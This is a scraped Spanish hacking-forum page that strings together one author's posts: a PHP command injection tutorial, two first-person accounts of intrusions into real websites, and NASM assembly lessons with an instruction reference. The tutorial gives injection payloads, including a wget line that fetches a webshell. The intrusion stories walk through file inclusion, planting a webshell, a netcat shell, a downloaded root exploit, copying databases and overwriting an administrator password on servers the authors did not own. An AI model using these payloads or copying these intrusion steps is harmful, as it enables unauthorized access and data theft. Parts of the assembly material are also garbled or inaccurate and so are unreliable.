Column count doesn't match value count at row 1




Gracias.

¿Esto son las f.a.q.'s? 

CitarP: ¿Como puedo practicar o hacer programas en ASM?
R: Puedes bajar un compilador. Entre los mas comunes estan: TASM (Turbo Asemmbler de Borland), MASM (Macro Assembler de Microsoft) y el RadASM.

xDDDD no se compila nada, se ensambla y linkea. TASM trabaja a 16 bit, y MASM es Assembly de alto nivel. RADASM es un IDE, por decir una linea al azar

Y 3 años desactualizada

En fin, muy corta mi visita por esta comunidad

Un saludo

No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
Te quedó joya el tut, aun al día de hoy siguen existiendo programas con protecciones deplorables que hasta cambiando unos bytes tienes software funcional.

saludos

Me alegra que te guste, tengo unos cuantos más por publicar, lo haré en estos días

El tema de las protecciones a nivel de programación, sueler ser ridículas, pero corresponden al nivel de cada uno, y está en esa persona trabajar o no para mejorarlo

Cuando no es necesario, lo más habitual es que sucedan estas cosas, es relativamente simple este caso, cualquiera con conocimientos básicos habría hecho lo mismo (El self fué realmente por pereza de mi parte...)

Un saludo!

No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
Gracias por traerlo a Underc0de Cibergolean

Saludos.

A ti por leerlo 

Un saludo!

Publicado inicialmente para No tienes permitido ver enlaces. Registrate o Entra a tu cuenta, autoría propia



Un tute que escribí, ya que hace su tiempo que no publicaba ninguno...

Citar
    Método: SelfKeygen (Su propio keygen)
    Dificultad: Fácil
    Protección: Ninguna
    Plataforma: Win32
    Demo: Periodo de 30 días.
    Cracker: Yo-Mismo
    Dedicación: Newbies

No tienes permitido ver enlaces. Registrate o Entra a tu cuenta

Publicado inicialmente en No tienes permitido ver enlaces. Registrate o Entra a tu cuenta, autoría propia


Se trata de ejecutar código arbitrario a nivel S.O.

Supongamos que tenemos una página Web, con algún software a nivel S.O. para alguna tarea, y le pasamos los parámetros adecuados por POST para hacer la llamada via system... Podemos manipular la instrucción con dos clicks

Ahora razonemos:

<?php
$val = "bin.exe $_POST["param"]";
system($val);
?>

Podemos manipular algo, y con eso basta para provocar algo. Más adelante veremos como.

<?php
if(!isset($_POST["IP"]))
{
	?>
	<form action="ping.php" method="POST">
	IP: <input name="IP"><br>
	<input type="submit" value="Ping">
	</form>
	<?php
} else {
	system("ping ".$_POST["IP"]);
}
?>

Primer fallo, Web. No limpiar ni revisar la IP, junto a una función tan peligrosa como system (Creedme, hay increibles sorpresas con PHP...)

Segundo fallo, la forma del S.O. de concatenar instrucciones.


Este ejemplo está tratado en Windows, aunque funciona igual bajo Linux.

Si vamos a la consola de WinBug, Windows para otros, vemos que podemos concatenar comandos de la siguiente forma:
Com1 | Com2 | Com3 | ...

Citar
>>>>>>>>echo xD > xd.txt | ping localhost

Pinging yomismo-PC [::1] with 32 bytes of data:
Reply from ::1: time<1ms
Reply from ::1: time<1ms
Reply from ::1: time<1ms
Reply from ::1: time<1ms

Ping statistics for ::1:
    Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
    Minimum = 0ms, Maximum = 0ms, Average = 0ms

>>>>>>>>type xd.txt
xD

Tenemos una instrucción que modificar... ¿Recuerdas? ¿Y si probamos?

Modifiquemos la dirección IP enviada con Live HTTP Headers, Tamper Data o similares vía POST, para concatenar un nuevo comando...

IP: 127.0.0.1 | ipconfig

Como resultado, podemos ver la configuración IP del host.


Es una de las vulnerabilidades más críticas que conozco (Reitero que las hay mucho peores), imaginemos el siguiente caso:

Webshell:

IP: 127.0.0.1 | wget http://shell.com/shell.php

Otros xD:

IP: 127.0.0.1 | nmap -sP 192.168.*.*

La solución más estúpida es la más eficaz. Limpia la variable, y observa que esta corresponda a una dirección IP válida.

Como dijo RemoteExecution (Adivinen de donde viene el nick): "Una vulnerabilidad sólo es tan limitada como tu quieras

Dudas y amenazas de muerte son bienvenidas   

Dedicación: Stuxnet, cph, No tienes permitido ver enlaces. Registrate o Entra a tu cuenta, 11Sep

Saludos!

Publicado inicialmente en No tienes permitido ver enlaces. Registrate o Entra a tu cuenta, autoría propia

CitarHace unos dias, mientras navegaba aburrido por la Web, encontre una pagina con una vulnerabilidad LFI.

El sitio, por privacidad, lo llamaremos No tienes permitido ver enlaces. Registrate o Entra a tu cuenta.

Observe que la dirección del archivo a incluir lo pasaba mediante GET por la variable "site.com/index.php?Page=", a la cual se agregaba la extensión ".PHP" por seguridad...

Estuve un rato pensando como evadirlo, y llegue a una conclusión: Tratar con el Null Byte.

Básicamente, para explotarlo, o que hice fue utilizar un archivo inexistente, observar la ruta donde estaba el directorio htdocs, (/var/www/htdocs), para después buscar algún fichero que vulnerar.

En un primer intento, trate de enviarle la ruta: ../../../etc/passwd, el cual funciono exitosamente, y buscando, concluí que existía el fichero /proc/self/environ, el cual mostraba mi User-Agent. Cabe aclarar que este permitia la inclusión de PHP modificando via Live HTTP Headers.

Con todo esto, conseguí crear una webshell en el servidor, lo que me facilito los datos de la base de datos, y una copia de la web.

Se trataba de un kernel 2.6.30, así que decidí dejar mi netcat escuchando en modo recursivo, y cree la conexión con el Host.

Posteriormente, vía wget descargue un Root Exploit que encontré por la red, lo cual me permitió permisos de Root en dicho servidor.

Resulta que, en dicho servidor, habían mas de 50 usuarios, con varios dominios cada uno...
Lejos de hacer un deface masivo, lo cual nunca fue, ni sera, mi objetivo, decidí limpiar mis huellas y salir de ahí, con una clara conclusión:

Un solo fallo, lo pueden pagar muchos.

Mi único trofeo fue la copia de la Web, y de la base de datos, de los cuales no obtuve datos relevantes.

Dedicación: No tienes permitido ver enlaces. Registrate o Entra a tu cuenta, 11Sep, Seth, y otros

Un saludo!

Observaciones por parte de 11Sep, miembro de esta comunidad:

CitarTe termino de completar

Bueno, una vez con la aplicación en "nuestras manos" y luego de haber comprobado correctamente el FSD procedemos a buscar los archivos de conexión a la BD, luego de literalmente decenas de includes damos con los datos de la BD, al ver que el host era 127.0.0.1 procedemos a ver si el puerto de mysql de la web estaba abierto (no filtrado ni cerrado).

nmap site.com -p 3306

Al ver que el pueto estaba abierto procedemos a buscar algo interesante en la BD, al encontrar nada interesante buscamos los datos del administrador y nos topamos con un MD5 que intentamos crackear sin exto, al ver esto descargamos el código del admin panel (site.com/admin/) haber con que sorpresa con encontrabamos y no fue nada mas ni nada menos que un salt algo particular.

...
$pass = sha1(md5($_POST["password"]));
$pass = md5(($pass. $_POST["password"]))
...

Al ver que nos sería algo difícil y tardado (mucho) crackear la pass decidimos ver que permisos tiene nuestro user en la BD.

SHOW GRANTS FOR <user>

Notamos que tenemos permisos SELECT e INPUT, pero no los sificientes como para dumpear shell así que decidimos guardar la pass original y poner una nuestra, para eso pasamos el código que "genera" la pass a nuestra máquina local con un par de modificaciones para que nos de el hash de 123456. Una vez tenemos el hash hacemos un UPDATE a la BD

UPDATE usr SET password = "hash"; 

Una vez tenemos éxito intentamos logearnos en el admin panel con la pass 123456 y ¡estamos dentro!, una vez logrado nuestro objetivo (entrar al admin panel) miramos por encima y nos topamos con un SQLi nada relevante teniendo la BD en nuestras manos y un uploader al que le prestamos muy poca antención ya que no se que pasaba por nuestras cabezas y decidimos volver a colocar la pass original en la DB y dar un vistazo a las otras webs alojadas en el mismo server (almenos unas 80) con la sorpresa que TODAS estaban en flash ¬¬

Saludos!

Un relato relativamente viejo, publicado originalmente en No tienes permitido ver enlaces. Registrate o Entra a tu cuenta, autoría propia


Esto es un relato un tanto viejo, al cual dejé pasar un tiempo antes de publicar, hasta que el bug fué reparado.

Mientras mi "socio", 11sep navegábamos, topamos con un servidor vulnerable. Esta vez, un FSD.

Igual que el anterior relato, la llamaremos No tienes permitido ver enlaces. Registrate o Entra a tu cuenta.

Esta página, tenía un script absurdo, que descargaba "ficheros", en la ruta No tienes permitido ver enlaces. Registrate o Entra a tu cuenta

Recorrimos la página desde el index hasta topar con los datos de MySQL, al cual accedimos, bajo previa protección.

Llegamos al panel de administración, pero el problema estaba en que se trataba de un hash en SHA1 y MD5, el cual en lugar de brutalizar, cambiamos la clave durante 1 minuto para entrar.

Dentro nos topamos con un sinfín de vulnerabilidades, que si FSD, que si FPD, que si SQLi... Y un lindo uploader...

No hicimos nada, ya que la web podríamos clonarla, y teniamos la base de datos.

Como en el anterior relato, es mi único objetivo.

Dejamos pasar un tiempo, y volvimos a intentar entrar, para subir una shell. Resulta que habían migrado a un servidor MySQL que no permitía conexiones internas.

Sinceramente me resulta patético buscar scripts por No tienes permitido ver enlaces. Registrate o Entra a tu cuenta y colgarlos, sin antes saber qué hace... Imaginen si hubieramos subido la shell y rooteado... ¿De qué habría servido migrar el servidor?

Pasamos por alto un sin fín de oportunidades, utilizar el FPD para subir una shell desde SQL, bypassear el uploader, incrustar un PHP en pleno index con la shell...

Nuestro objetivo no fué más que lograr una infiltración al área restringida (Panel de administración), sirva de ejemplo

Como siempre digo, Antes de correr, hay que saber andar.

Dedicado a No tienes permitido ver enlaces. Registrate o Entra a tu cuenta

Un saludo.

No tienes permitido ver enlaces. Registrate o Entra a tu cuenta (Creado a petición de un usuario)

Saludos!

Después de un buen tiempo de espera, decidí entre cervezas continuar al manual que deje casi a medias...

Ahí va.

Índice:
1. Estructuras de control de proceso

• Qué son
  
• Ejemplo
  

  2. Subprocesos

• La pila
  
• Argumentos de pila
  
• Llamada y retorno
  

  3. Sintaxis NASM

• Funciones globales
  
• Carga de funciones externas
  
• Secciones
  
• Etiquetas
  
• Esqueleto de un programa
  

  4. NASM y GCC

• Ejemplos
  
• Ejercicio final
  

     
  Qué son:
  Las estructuras de control son procesos a alto nivel que realiza el compilador, con las que no contamos en ASM (A bajo nivel).
 
  Estas estructuras pueden ser bucles (While, For, ...), comparaciones (if's) y de ramificación.
 
  Ejemplo:
  Ejemplo de estos tres últimos tipos, en un comparador de cadenas:
 

global main
   
  extern printf
   
  segment .data
  smal  DB         `Diferentes\0`
  sbien DB         `Iguales\0`
  Cadena1         DB         `aaaa\0`
  Cadena2         DB         `aaaa\0`
   
  segment .bss
  len1  resb         12
  len2  resb         12
   
  segment .text
  main:
           PUSH      EBP
           MOV         EBP,ESP
           MOV         [ESP],dword Cadena1
           CALL         longitud
           MOV         dword[len1],EAX
           MOV         [ESP],dword Cadena2
           CALL         longitud
           MOV         dword[len2],EAX
           MOV         EAX,dword[len1]
           MOV         ECX,dword[len2]
           CMP         EAX,ECX
           JNE         Mal
           XOR         ECX,ECX
           MOV         EDX,dword[len1]
  Buclecmp:
           CMP         EDX,ECX
           JE         Bien
           MOV         AL,byte[Cadena1+ecx]
           MOV         BL,byte[Cadena2+ecx]
           CMP         AL,BL
           JNE         Mal
           INC         ECX
           JMP         Buclecmp
  Mal:
           PUSH      smal
           CALL       printf
           LEAVE
           RET
  Bien:
           PUSH      sbien
           CALL       printf
           LEAVE
           RET
  longitud:
           PUSH      EBP
           MOV         EBP,ESP
           SUB         ESP,4
           XOR         ECX,ECX
  BUCLE:
           LEA         EAX,[EBP+8]
           MOV         EAX,DWORD [EAX]
           MOV         BL,byte[EAX+ECX]
           CMP         BL,0
           JE         Retornar
           INC         ECX
           JMP         BUCLE
  Retornar:
           MOV         EAX,ECX
           LEAVE
           RET

   
  Estamos por conocer más de cerca las instrucciones PUSH y POP.
 
  La pila es una lista de memoria en la que podemos manejarnos. Para que no se creen confusiones, se trata del Stack. Cuando realizamos PUSH estamos cargando datos a la pila, mientras que con POP lo descargamos. PUSH empuja un dato, mientras que POP se encarga del último (L.I.F.O)
 
  La instrucción PHSA empuja el contenido de los registros a la pila.
 
  Al realizar una llamada a un subproceso (Función) mediante CALL, éstos deben estar de acuerdo en el número y valor de parámetros que vamos a precisar (Argumentos).
 
  Los argumentos se almacenan en EBP+8, EBP+0xC y sucesivamente. Más allá de los parámetros recividos estaríamos tocando cosas que no deberíamos, y ya podrías imaginar el resultado.
 
  Un ejemplo de esto lo podemos ver en el ejemplo anterior, en la llamada al subproceso longitud (Función longitud)

         MOV         [ESP],dword Cadena1 ;Cargar argumento, PUSH
           CALL         longitud

...........

longitud:
           PUSH      EBP
           MOV         EBP,ESP
           SUB         ESP,4
           XOR         ECX,ECX
  BUCLE:
           LEA         EAX,[EBP+8]         ;Obtenemos direccion
           MOV         EAX,DWORD [EAX] ;Leemos puntero
           MOV         BL,byte[EAX+ECX]
           CMP         BL,0
           JE         Retornar
           INC         ECX
           JMP         BUCLE
  Retornar:
           MOV         EAX,ECX
           LEAVE
           RET

  El valor retornado siempre es almacenado en EAX. Realmente depende del programador, pero por regla general es así
 
      Declaraciones globales
 
  Funciones declaradas como globales, por ejemplo al usar C y  NASM

Global main         ;Obligatorio
  Global funcion

Carga de funciones externas
 
  Cargar funciones externas.

Extern printf
  Extern scanf
  Extern funcionpropia

  Secciones
 
  Son muchas, pero aquí van las más comunes.

.BSS – Datos no inicializados (Variables)
  .DATA – Datos inicializados (Constantes)
  .TEXT – Texto
.CODE – Código

  Etiquetas
 
  Son labels que usamos para determinar el salto hacia otra línea de código (o dirección). Recuerda a GOTO, todo un clásico
 

Bucle:
           CMP         EAX,0
           JNE         Bucle
           JMP         Fin
  Fin:
           RET

Esqueleto de un programa
 

global main
   
  extern Funcionacargar
   
  segment .data
  constante         DB         `Valor\0`
   
  segment .bss
  variable         resb         1024         ;Longitud
   
  segment .text
  main:
           PUSH      EBP
           MOV         EBP,ESP
           SUB         ESP,4
           LEAVE
           RET

        Dejo el análisis a vosotros para comprobar lo aprendido hasta ahora... Se que me quieres
    Subprocesos externos:
  b.asm:

global main
   
  extern longitud
  extern printf
   
  segment .data
  ftoi   DB         `%i caracteres\0`
  Cadena         DB         `aaaaaaa\0`
   
  segment .text
  main:
           PUSH      EBP
           MOV         EBP,ESP
   
           MOV         [ESP],dword Cadena
           CALL         longitud
           PUSH      EAX
           PUSH      ftoi
           CALL       printf
           LEAVE
           RET

  b.c:

#include <stdio.h>
   
  int longitud(char *s1)
  {
      return strlen(s1);
  }

  Compilación:

Citarnasm -f win32 -Wall --prefix _ b.asm
  gcc -o b b.obj b.c

Ejercicio final:
  Realizar una calculadora utilizando GCC y NASM, utilizando estructuras de control, subprocesos, retornos y la pila
 
  Datos finales: Esperen la siguiente versión. Puntos flotantes, estructuras, matrices, ...
 
  Agradecimientos: Jep, Swash, 11Sep, Shadowbyte, Mr.Blood, ...
 
  Creado por: Yo-Mismo (Para No tienes permitido ver enlaces. Registrate o Entra a tu cuenta y CPH)
 
  Las dudas las resuelvo por privado, no en el hilo (Mejor abrir tema nuevo.)
 
  Un saludo!

80186/80188/80286 (modo no protegido)

BOUND  reg, mem            Detecta valor fuera de rango.
ENTER inmed16, inmed8   Hace elemento en la pila para llamada a  procedimiento.
IMUL  reg, inmed              Multiplicación entera.
reg, r/m,inmed
INS  mem, DX                  Entrada de cadena desde el puerto DX.
INSB mem,DX                  Entrada de cadena de bytes desde el puerto DX.
INSW  mem DX                Entrada de cadena de palabras desde el puerto DX.
LEAVE                             Deja procedimiento.
OUTS DX, mem               Salida de cadena de bytes o palabras al puerto DX.
OUTSBDX,  mem             Salida de cadena de bytes al puerto DX.
OUTSW DX, mem            Salida de cadena de palabras al puerto DX.
POPA                              Saca todos los registros de la pila.
PUSH  inmed                   Introduce a la pila
PUSHA                            Introduce todos los registros.
RCL  r/m, inmed               Rotación a la izquierda con acarreo
RCR  r/m, inmed               Rotación a la derecha con acarreo.
ROL  r/m, inmed               Rotación a la izquierda.
ROR  r/m, inmed               Rotación a la derecha.
SAL  r/m, inmed               Desplazamiento aritmético a la izquierda.
SAR  r/m, inmed               Desplazamiento aritmético a la derecha.
SHL  r/m, inmed               Desplazamiento a la izquierda.
SHR  r/m, inmed               Desplazamiento a la derecha.

80286 (modo protegido)

ARPL  mem, reg               Ajusta petición de nivel de privilegio.
CLTS                               Limpia bandera de conmutación de tareas.
LAR reg, mem                  Carga derechos de acceso.
LGDT mem                      Carga la tabla de descriptores globales (8 bytes).
LIDT mem                        Carga tabla de descriptores de interrupciones (8 bytes).
LLDT mem                       Carga la tabla de descriptores locales.
LMSW mem                     Carga la palabra de estado.
LSL reg, mem                  Carga el límite del segmento.
LTR mem                         Carga registro de tareas.
SGDT mem                      Guarda la tabla de descriptores locales (8 bytes).
SIDT mem                       Guarda tabla de descriptores de interrupciones (8 bytes).
SMSW mem                    Guarda la palabra de estado.
STR mem                        Guarda registro de tareas.
VERR mem                      Verifica acceso de lectura.
VERW mem                     Verifica acceso de escritura.
80287
FSETPM                          Fija modo protegido.
FSTSWAX                       Almacena palabra de estado en AX (aguarda).
FNSTSWAX                     Almacena palabra de estado en AX (no aguarda).


MOV destino, origen
Esta función trata el intercambio entre registros, ya sean valores o direcciones. Pongamos un ejemplo:

MOV EBX, 1
MOV EAX, EBX

Estamos enviando el valor 1 a EBX, y este pasaría a EAX. Recordemos que un registro está compuesto por 32 bit, pero en este caso únicamente utilizamos 4 bit, por lo que utilizaríamos únicamente los últimos 4 bit, es decir, BL y AL.
¿Pero no dijiste que podrías mover un valor o una dirección? Así es.

Supongamos por un momento, que tenemos una direccion en memoria, en el registro EBX, y queremos pasarlo a EAX... Hariamos lo mismo, ya que en el ejemplo anterior, pasamos la dirección de 1 a EAX. Si no queremos esto, podemos pasar únicamente el valor, en lugar de la dirección de la siguiente manera:

MOV EAX, dowrd [EBX]

Le estaríamos indicando que pasaremos un valor de tamaño DWORD a EAX, y ese valor es el que estará presente en EBX.


No, no te vamos a pedir que te pongas a leer... De momento. Recordando el caso de MOV... ¿Y si queremos un puntero? Fácil. La instrucción LEA se encarga de ello. Como vemos, la sintaxis es sencilla:

LEA destino, origen

Supongamos que tenemos un valor almacenado en EDX, y queremos un offset en EAX, lo haríamos de la siguiente forma:

LEA EDX, [EAX]

De esta forma, indicaríamos que pasaremos el offset (LEA) a EDX, residente en EAX


Estas instrucciones son las encargadas de desviar el programa a una zona determinada. La diferencia entre JMP y CALL, es que CALL realiza un salto a una subrutina con retorno, mientras que JMP realiza un salto dentro del segmento.
Su sintaxis es:

JMP destino
CALL destino

Básicamente, la principal diferencia entre JMP y CALL, es que JMP ejecuta un salto a una línea de código, y CALL entra en una subrutina.

JB o JNAE: Salta si CF está activada.
Objetivo: Saltar si la última comparación realizada con
números naturales da menor.

JG o JNLE: Salta si ZF es cero o si OF y SF son iguales.
Objetivo: Saltar si la última comparación realizada con
números enteros da mayor.

JL o JNGE: Saltar si SF es diferente a OF
Objetivo: Saltar si la última comparación realizada con
números enteros da menor.

JC: Saltar si CF está prendida
Objetivo: Saltar si hay acarreo

JO: Saltar si OF está prendido
Objetivo: Saltar si hay desbordamiento

JP: Saltar si PF está prendido
Objetivo: Saltar si hay paridad

JS: Saltar si SF está prendido
Objetivo: Saltar si es negativo

JNE o JNZ: Comportamiento inverso a JE o JZ

JNA o JBE: Comportamiento inverso a JA o JNBE

JNB o JAE: Comportamiento inverso a JB o JNAE

JNG o JLE: Comportamiento inverso a JG o JNLE

JNL o JGE: Comportamiento inverso a JL o JNGE

JNC: Comportamiento inverso a JC

JNO: Comportamiento inverso a JO

JNP o JPO: Comportamiento inverso a JP

JNS: Comportamiento inverso a JS



Suma:

MOV EAX,10
MOV EDX,20
ADD EAX,EDX

Resta:

MOV EAX,20
MOV EDX,10
SUB EAX,EDX

Multiplicación con signo:

MOV EAX,10
MOV EDX,20
IMUL EAX,EDX

División sin signo:

MOV AX,20
MOV BL,4
DIV BL

Ejemplo de una calculadora simple en NASM:

Citar
global main

extern printf
extern scanf
extern exit

segment .data
sVal1   DB   `Entero 1: \0`
sVal2   DB   `Entero 2: \0`
sTOTAL   DB   `Resultado: %i\n\0`
Ftoi   DB   `%i\0`
sMenu   DB   `@@@@@@@@@@@@@@@@@@@@@@\n@                    @\n@                    @\n@ Calculadora V1 ASM @\n@                    @\n@                    @\n@@@@@@@@@@@@@@@@@@@@@@\n\n1.- Suma\n2.- Resta\n3.- Multiplicación\n4.- División\n\nOpción:\n\0`
sMal   DB   `Opcion incorrecta\n\0`

segment .bss
NUM1   RESB   4
NUM2   RESB   4
Menu   RESB   4

segment .text
main:
   PUSH   EBP
   MOV   EBP,ESP
   SUB   ESP,4
   MOV   [ESP],dword sMenu
   CALL   printf
   MOV   [ESP],dword Ftoi
   MOV   [ESP+4],dword Menu
   CALL   scanf
   
   CMP   dword [Menu],4
   JA   optMal
   CMP   dword [Menu],1
   JE   Suma
   CMP   dword [Menu],2
   JE   Resta
   CMP   dword [Menu],3
   JE   Multip
   CMP   dword [Menu],4
   JE   Divis
   CALL   exit
optMal:
   MOV   [ESP],dword sMal
   CALL   printf
   JMP   main
Suma:
   MOV   [ESP],dword sVal1
   CALL   printf
   MOV   [ESP],dword Ftoi
   MOV   [ESP+4],dword NUM1
   CALL   scanf

   MOV   [ESP],dword sVal2
   CALL   printf
   MOV   [ESP],dword Ftoi
   MOV   [ESP+4],dword NUM2
   CALL   scanf

   MOV   EAX,dword [NUM1]
   MOV   EDX,dword [NUM2]
   ADD   EAX,EDX
   JMP   Resultado
Resta:
   MOV   [ESP],dword sVal1
   CALL   printf
   MOV   [ESP],dword Ftoi
   MOV   [ESP+4],dword NUM1
   CALL   scanf

   MOV   [ESP],dword sVal2
   CALL   printf
   MOV   [ESP],dword Ftoi
   MOV   [ESP+4],dword NUM2
   CALL   scanf

   MOV   EAX,dword [NUM1]
   MOV   EDX,dword [NUM2]
   SUB   EAX,EDX
   JMP   Resultado
Multip:
   MOV   [ESP],dword sVal1
   CALL   printf
   MOV   [ESP],dword Ftoi
   MOV   [ESP+4],dword NUM1
   CALL   scanf

   MOV   [ESP],dword sVal2
   CALL   printf
   MOV   [ESP],dword Ftoi
   MOV   [ESP+4],dword NUM2
   CALL   scanf

   MOV   EAX,dword [NUM1]
   MOV   EDX,dword [NUM2]
   IMUL   EAX,EDX
   JMP   Resultado
Divis:
   MOV   [ESP],dword sVal1
   CALL   printf
   MOV   [ESP],dword Ftoi
   MOV   [ESP+4],dword NUM1
   CALL   scanf

   MOV   [ESP],dword sVal2
   CALL   printf
   MOV   [ESP],dword Ftoi
   MOV   [ESP+4],dword NUM2
   CALL   scanf

   MOV   AX,word [NUM1]
   MOV   DL,byte [NUM2]
   DIV   DL
   JMP   Resultado
Resultado:
   PUSH   EAX
   PUSH   sTOTAL
   CALL   printf
   LEAVE
   RET

Compilación en Windows:

Citar
nasm -f win32 -Wall --prefix _ Calc.ASM
gcc -o Calc.exe Calc.obj

Compilación en Linux:

Citar
nasm -f elf Calc.ASM
gcc -o Calc Calc.o

Fuente: Yo-Mismo (CodeSec.org)

Saludos

Publicado originalmente para No tienes permitido ver enlaces. Registrate o Entra a tu cuenta, autoría propia.

Este es un manual que comencé a escribir hace tiempo, acerca de Netwide Assembler.

Atención: dudas y mensajes sobre este tema se responderán por mensaje privado o mediante la creación de un nuevo hilo.


Actualmente, es muy difí­cil encontrar programas escritos completamente en Assembler, sin embargo, son utilizados por su portabilidad y facilidad de uso, además, al estar creado en un lenguaje de programación de nivel bajo, no tiene empaquetado ni tanta  basura que puede contener otro programa creado, por ejemplo, en VB, lo que puede generar un ejecutable de apenas 2'5Kb, cuando el mismo programa, en VB, serí­a de 21Kb. Ya veremos más adelante estos datos.


->   Genera un código más rápido y pequeño que otro programa escrito en otro lenguaje de alto nivel
->   Para ciertas plataformas, los lenguajes de alta programación son ineficientes, debido a restricciones del hardware (Ej.: Sistemas embebidos)
->   Permite acceder al Hardware directamente (Ej.: Sistemas operativos)
->   Conocerás como funciona completamente un PC internamente


Registros de datos              EAX EBX ECX EDX
Punteros de pila                  ESP EBP
Registros de í­ndice              EDI ESI
Registros de segmento       FS CS DS ES SS

EAX: También llamado acumulador

EBX: Puede ser usado como registro base de direccionamiento        (por ejemplo, para apuntar a direcciones de memoria con el)

ECX: Usado como contador (ciclos, rotaciones...)

EDX: Registro de datos, a veces usado con EAX en instrucciones especiales.
Los sistemas de 32 bits, están construidos por registros de 16 bits, y estos a su vez, están divididos en  subsegmentos  de 8 bits, que a su vez, están formados por dos códigos hexadecimales, de 4 bits cada uno (Cada bit es un impulso eléctrico, positivo (1) o negativo (2)). La siguiente tabla muestra un ejemplo:


-No hay forma de acceder a los 16 bits superiores.

Estas direcciones requieren un número de 20 bits, el cual, no cabrá en un registro de 16 bits. Desde la llegada de Intel, se usaban 2 valores de 16 bits (32 bit) para determinar una dirección. Los valores del seleccionador deben estar en registros de segmento, y el segundo valor de 16 bits, es el desplazamiento (Offset). Se puede obtener la dirección mediante la siguiente formula:
16 * Seleccionador + Desplazamiento

Una curiosidad es la forma en la que la máquina obtiene un número hexadecimal a partir de uno decimal. He aquí­ la fórmula:
Decimal: 31278
31278:16 = 1954 resto= 14 (E)
1954:16 = 122 resto= 2 (2)
122:16 = 7 resto= 10 (A)
7:16 = 0 resto= 7 (7)
7A2E (Hexadecimal)

Como vemos, realiza algo similar a una conversión decimal binaria, pero usando 16 para obtener un número valido para continuar dividiendo, y el resto, el valor hexadecimal. Pueden ponerlo en práctica.

Hay de 4 tipos, y se representan como en la siguiente tabla:

And: Vale 1 si ambos bites están a 1
1 | 1 = 1
1 | 0 = 0
0 | 0 = 0
0 | 1 = 1

Or: Vale 1 si algún bit vale 1
1 | 1 = 1
1 | 0 = 1
0 | 0 = 0
0 | 1 = 1

Xor: Vale 1 si los bits son diferentes, y 0 si no lo son
1 | 1 = 0
1 | 0 =1
0 | 0 =0
0 | 1 =1
 
Not: Invierte el valor del bit
Not 1 = 0
Not 0 = 1


Son registros especiales, en donde se guardan los resultados de la última operación matemática, o de comprobación. No se almacenan resultados numéricos, sino su estado.

Aunque es un registro de 16 bits, sólo algunos de ellos tienen significado. Los otros adquieren valores indeterminados, y se dice que son bits reservados; un programa no debe tocarlos, pues aunque un equipo dado puede que no los use, otros micros podrían manipularlos internamente, con resultados impredecibles.

    * CF Carry Flag o indicador de acarreo. Normalmente indica si "nos llevamos algo" despues de haber sumado o restado.
    * OF Overflow Flag o indicador de desbordamiento. Si después de una operación el resultado no cabe en el tamaño del registro, se pone a 1.
    * ZF Zero Flag o indicador de cero. Si el resultado da 0 se pone a 1.
    * SF Sign Flag o indicador de signo. Si el resultado es negativo se pone a 1.
    * PF Parity Flag o indicador de paridad. Con algunas operaciones lógicas o aritméticas se pone a 1 si el resultado es par.
    * AF Auxiliary Flag o indicador auxiliar. Se usa para operaciones BCD (si es que éstas valen para algo)
    * DF Direction Flag o indicador de dirección. Se usa en operaciones llamadas "de cadena", indicando el sentido (ascendente o descendente) en que se recorre la memoria. (Este flag es más divertido de lo que parece.)
    * IF Interrupt Flag o indicador de interrupciones. Cuando se pone a 1 se permiten las interrupciones, a 0 se ignoran; se dice que se enmascaran. Hay no obstante algunas muy especiales que pasan del flag; por ejemplo, si arrancas (físicamente, me refiero; coger con la mano y zás!) una tarjeta de RAM con el trasto encendido, la interrupción que salta -alerta roja, inmersión, inmersión, auuuuu- pasa de este flag olímpicamente (algo así no se puede pasar por alto bajo ninguna circunstancia).
    * TF Trap Flag o indicador de trampa (para ejecución paso a paso, como en los depuradores; podemos olvidarnos de él)




Lo que hace diferente a Assembler frente a otros lenguajes, es que tu mismo puedes indicar el tamaño reservado a una variable. Existen 4 tipos, dependiendo del tamaño a ocupar:
-> BYTE    - Reserva 8 bit                       - 2 ^ 8  = 256
-> WORD   - Reserva 16 bit                     - 2 ^ 16 = 65536
-> DWORD - Double Word, reserva 32 bit   - 2 ^ 32 = 4294967296
-> QWORD - Quad Word, reserva 64 bit     - 2 ^ 64 = 18446744073709551616 (Únicamente usado en plataformas X64)


Bueno, esta lista la obtuve de No tienes permitido ver enlaces. Registrate o Entra a tu cuenta, ya que se trata de una gran lista, dependiendo del sistema que utilices. Esta se basa en arquitecturas 80X86:

acum                     uno de los acumuladores: AX o AL.
reg                        cualquiera de los registros
segreg                   uno de los registros de segmento
r/m                        uno de los operandos generales: registro, memoria, basado, indexado o basado-indexado
inmed                    constante o símbolo de 8 o 16 bits
mem                     un operando de memoria: símbolo, etiqueta, variable.
etiqueta                 etiqueta de instrucciones.
src                        fuente en operaciones de cadena
dest                      destino en operaciones de cadena.

8086/8088

AAA                                Ajuste ASCII para adición.
AAD                                Ajuste ASCII para división.
AAM                                Ajuste ASCII para multiplicación.
AAS                                Ajuste ASCII para división.
ADC   acum, inmed           Suma con acarreo.
r/m,inmed
r/m, reg
reg, r/m
ADD  acum,inmed             Suma.
r/m,inmed
r/m, reg
reg, r/m
AND  acum,inmed             Operación AND a nivel bit.
r/m,inmed
r/m, reg
reg, r/m
CALL etiqueta                  Llamado.
r/m
CBW                               Convierte byte apalabra.
CLC                                 Limpia bandera de acarreo.
CLD                                 Limpia bandera de dirección.
CLI                                  Limpia bandera de interrupción.
CMC                                Complementa bandera de acarreo.
CMP  acum,inmed            Comparación
r/m,inmed
r/m, reg
reg, r/m
CMPS  src,dest                Comparación de cadenas.
CMPSB                           Compara cadenas byte por byte.
CMPSW                          Compara cadenas palabra por palabra.
CWD                               Convierte palabra a palabra doble.
DAA                                Ajuste decimal para adición.
DAS                                Ajuste decimal para substracción.
DEC   r/m                         Decremento.
reg
DIV    r/m                         División.
ESC  inmed, r/m               Escape con 6 bits.
HLT                                 Alto.
IDIV  r/m                          División entera.
IMUL r/m                         Mutiplicación entera.
IN      accum,inmed          Entrada desde puerto.
acum, DX
INC    r/m                         Incremento.
          reg
INT3                                Interrupción3 codificada como un byte.
INT    inmed                     Interrupción0-255.
INTO                               Interrupción en overflow.
IRET                                Retorno de interrupción.
JMP etiqueta                    Brinco incondicional.
LAHF                               Carga AH con las banderas.
LDS  r/m                          Carga DS.
LEA   r/m                         Carga la dirección.
LES  r/m                          Carga ES.
LOCK                              Cierra bus.
LODS  src                        Carga cadena.
LODSB                            Carga byte de cadena en  AL.
LODSW                           Carga palabra de la cadena en  AX.
LOOP  etiqueta                Ciclo.
